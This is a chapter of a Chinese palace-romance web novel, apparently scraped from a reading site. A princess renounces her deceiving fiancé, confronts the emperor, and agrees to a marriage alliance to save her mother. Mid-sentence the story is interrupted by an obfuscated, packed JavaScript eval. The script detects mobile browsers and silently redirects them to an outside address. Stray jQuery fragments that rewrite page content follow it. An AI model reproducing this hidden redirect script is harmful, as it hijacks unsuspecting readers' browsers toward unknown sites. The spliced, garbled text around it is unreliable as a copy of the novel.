93. 那你有想我么

作品:《宿敌多情

    闻言,明妃看着跪在自己面前的相微满,到底是软了心肠,可她也不能不管不顾,只好道:“先起来罢,我想想。”


    相微满静默的看着她,到底没再说下去,点点头站了起来:“好。”


    廊檐积雪垂落,惊破掖庭狱外的死寂。二人走出掖庭狱,相微满的脚步很快,任凭身后的祁羡如何叫她,她都没回头。


    直到祁羡三步并两步追了上去:“等等我……”


    祁羡的声音裹着北风递来,相微满倏然转身看向他,她一双眸子隐隐带着怒气看着祁羡,她望见祁羡眉梢沾着未化的雪粒,那双冷冽的眉眼此刻泛着红血丝,倒映着自己苍白的面容。


    沉默片刻,她忽的自嘲般的扯了扯唇角,声音尤为平静:“我知道,不得已嘛……你是不得已,母妃也是不得已,不得已把我当个痴儿蒙在鼓里。”尾音陡然拔高,惊得枝头寒鸦扑棱棱飞起,抖落簌簌雪霰。


    从始至终,只有她什么都不知道。


    祁羡抬手欲去拉她,却被相微满侧身避开了,那只骨节分明的手便僵在寒风中,指节冻得发红。


    “微满……”她喉结滚动,呵出的白雾模糊了眉眼。


    他想解释,想说很多,可在对上相微满泛红的双眸时,却什么话都说不出口了。


    这场景他预想了很多遍,即使做了准备,但真实发生时,还是痛彻心扉,在心底划开一道道密密麻麻的口子。


    相微满清楚的将他悲痛的神情尽收眼底,可此刻她给不出回应。


    她深吸一口气,喉间哽咽如塞棉絮,一字一句道:“我便该装聋作哑?该在对母妃的生死视若无睹?该在你们织就的谎话里欢天喜地当新嫁娘?”


    这又是何意?让她像个傻子一样,继续筹备她和祁羡的婚事么?


    “因为你们的不得已,在我得知真相后,我不能恨,不能怨,因为瞒着我,都是为我着想……”


    她的声音越来越轻,眨眼的瞬间泪水便大滴向下砸落,恍若呢喃:“可你们……没人问过我需不需要,我又岂是贪生怕死之人?岂是冷血之辈?”


    她又怎能看着母妃获罪而不管不顾?怎能安心的自己苟活在这深宫之中?


    一声声质问砸在祁羡心上,将他那点希冀一同砸灭。


    相微满看着他,声音哽咽:“你临行前,我曾问过你的,我想你许是有难言之隐,可我也愿同你一起面对。”她苦笑一声,“却原来,定宁少主的秘密,比我的心意更重千斤。”


    相微满想过许多种可能,可为何……为何偏偏是这种结果?为何定宁少主会是他?


    为何要一直瞒着她?甚至他们都定下了婚约,她都不曾知晓方少骞的真实身份。


    相微满从不接受欺骗,可她从前愿意体谅方少骞,但如今得知真相,还要她如何体谅?体谅敌国少主这般哄骗自己,还将整个大济耍的团团转么?


    她做不到。


    相微满这番话,祁羡瞳孔骤缩,颈侧青筋在薄皮下突突跳动,他急切的想解释,可却无从反驳,一句为自己辩解的话都说不出来:“我……”


    相微满轻轻叹息一声,别开视线:“到头来,全成了一场空……”


    寒风吹过,祁羡有些不适的蹙了蹙眉,相微满这才陡然想起,祁羡的腿曾落下过伤,冬日里想来便不好受,这双腿本该在暖阁里盖着狐裘,却陪着她在此受罪。


    相微满垂了垂眸,无意与他过多纠缠了:“方少骞……”


    她静静注视着祁羡的双眸:“不,祁羡……你我从此,黄泉碧落,恩断义绝,再无纠葛。”


    撂下这句话,相微满便擦过他的肩膀毅然决然地走了。


    祁羡怔立在雪中,想抓住她的手,再次空了。


    御书房内。


    “不愿?!她真是这么说的?”济帝怒气冲冲的一掌拍在紫檀案几上,震得青玉笔山咣当坠地,一时间气不打一处来。


    林公公也有些为难,答道:“是,明锦公主只说了不愿二字……”


    “她倒是学起她母妃作天作地的本事!”心中本就窝着一股火,闻言济帝心中怒气更甚,直接将桌上的奏折全部扫落:“当初朕不答应,他们二人坚决要定亲,如今朕同意了这门亲事,她又不愿了?!”


    济帝气得坐在椅子上,心想着:果真和她母妃一样,就会给他找不痛快!


    见状,林公公慌忙将那些奏折拾捡起:“陛下息怒啊……”


    外面的小太监突然进来禀报:“启禀陛下,明锦公主求见。”


    闻言,林公公心中颤了颤,心想着明锦公主来得可真不是时候,这济帝正为她这事儿生气呢,她可倒好,在济帝气头上来了。


    济帝烦躁的摆了摆手:“让她进来。”


    相微满逆光走进来,暮色衬得她眉眼愈发冷清,倒有了几分明妃如今的模样。


    还不等她开口,便听济帝厉声道:“为何不愿与定宁和亲?当初朕不同意,你们偏要定亲,如今朕同意了你还不愿,你到底想如何?!”


    闻言,相微满的脚步微顿,她目光掠过满地狼藉,便猜到济帝此刻尤为烦躁,生气的源头正是她和明妃二人。


    仔细想想,确是如此,当初她决心想与方少骞定亲,甚至不惜钻研女子八雅,如今她已然从书院结业,济帝也同意了这门婚事,可她却又不愿了。


    相微满自嘲一笑,心中也暗骂自己:真是够做作的……


    或许在别人眼中,她从前坚持的婚事如今有了着落,还有何不满足?能嫁给定宁少主做正妻,还有何不满足?嫁给自己心爱之人,又能保两国太平,还有何不满足……


    可她就是不愿。


    凭什么她被欺骗还要不计前嫌的接受?哪怕那个人是祁羡,也不行。


    其实转念一想,她身上倒也有几分济帝的影子,她默了默,开口时嗓音像浸了霜:“母妃欺骗了父皇,父皇不是也接受不了么?祁羡欺骗于我,我自然不接受。”


    殿内霎时死寂。她这句话,叫济帝哑口无言。


    济帝收了些气焰,坐了回去,声音静下些,透着几分不解:“可你对祁羡有情不是么?你们之间,不过是件小事,嫁给他还能保两国安息,何乐而不为?”


    是了,济帝震怒,是因他对明妃早就没有当年情谊了。


    可被心爱之人欺骗,那才最为痛心。


    相微满有些无力的叹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249644|151139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了口气,她自知与济帝说不通,便也不再浪费口舌,她今日来本就不是来讨论这事的。


    她提起裙摆缓缓跪地,抬手规矩作揖,无波无澜:“儿臣恳请父皇,看在与母后情深多年的份上,从轻发落。”她默了默,声音低了些,“儿臣愿,前往定宁和亲。”


    她想了一下午,这是她想到唯一能让明妃全身而退的方法。


    闻言,济帝怒拍桌子,似是气急了呼吸声粗重起来,斥道:“你这是在和朕谈条件?”


    欺君之罪是死罪,何况明妃欺瞒了济帝五年,济帝怎么可能这般轻易放过她?他是皇帝,一声令下便可将相微满送去和亲,哪儿轮得到相微满谈条件?


    相微满自然知道,听着济帝震怒的声音,她不慌不忙道:“儿臣不敢,只是母妃的生育之恩,儿臣没齿难忘,若母妃赴死……”她抬眼看向济帝,眸光坚定,“儿臣,绝不独活。”


    她早预想到济帝不会答应,那她便只好这般。


    “放肆!”济帝更怒了,抓起砚台掷来,澄泥砚擦着耳畔飞过,在身后柱上炸开。济帝声音更凌厉了几分,“你敢威胁朕?!”


    帝王胸膛剧烈起伏,明黄常服上团龙怒目似要破帛而出,他从未想过竟会有人敢威胁到他头上!


    此刻他终于看清这个自幼怯懦的四公主,眼底跃动着当年相昭夺位踏破宫门时的坦率坚定。


    其实自从相微满画出那张改良犁图纸济帝就该明白的,她是相昭和迟意的孩子,怎会懦弱?怎会甘愿任人摆布?她身上有他们二人的影子。


    相微满垂下头:“儿臣不敢。”


    嘴上虽是这般说,但她哪里有半点害怕的样子?


    殿内死寂漫长得能听见更漏声,直到济帝怒道:“滚出去!”


    闻言,相微满叹了口气,也不再多言,缓缓站起身走了出去,没再回头。


    她知道,济帝会考虑她的话,毕竟这件事,百利而无一害,济帝也没损失什么,无非便是放了一个即将被处死的妃子罢了。


    只是白日里还说与祁羡再无纠葛,如今晚上便失了言,同意了和亲。


    还真是……没志气。


    ……


    夜晚为迎接定宁使臣的宫宴,相微满照例没去,还是同样的理由。


    她看着天空明月皎皎,梅花在月色下翩翩落下,她坐在树下的秋千上,梅花香扫过鼻尖,带着阵阵清香。


    任凭宫中的歌舞升平,相微满只坐在晃荡的秋千上出神,她披着狐裘,望着满院雪白,恍然想起去年这时,她才遇见方少骞,那时园中还没这般整洁,满目苍夷,却只有这一株寒梅在院中绽放。


    后来她派人将院中收拾了出来,种了许多花果树,这个落了那个开,竞相绽放,可却都不如这棵梅树开得漂亮。


    她猛然间想起一句话:去年花里逢君别,今日花开已一年。


    相微满苦笑一声,喃喃道:“应该是,去年花里逢君见,今年花开已一年。”轻吟的尾音化作白雾消散。


    她与方少骞,不过才相识一年而已,可这感情,却如此刻骨铭心。


    “那你有想我么?”低沉的声音从不远处传来,伴着丝丝寒风。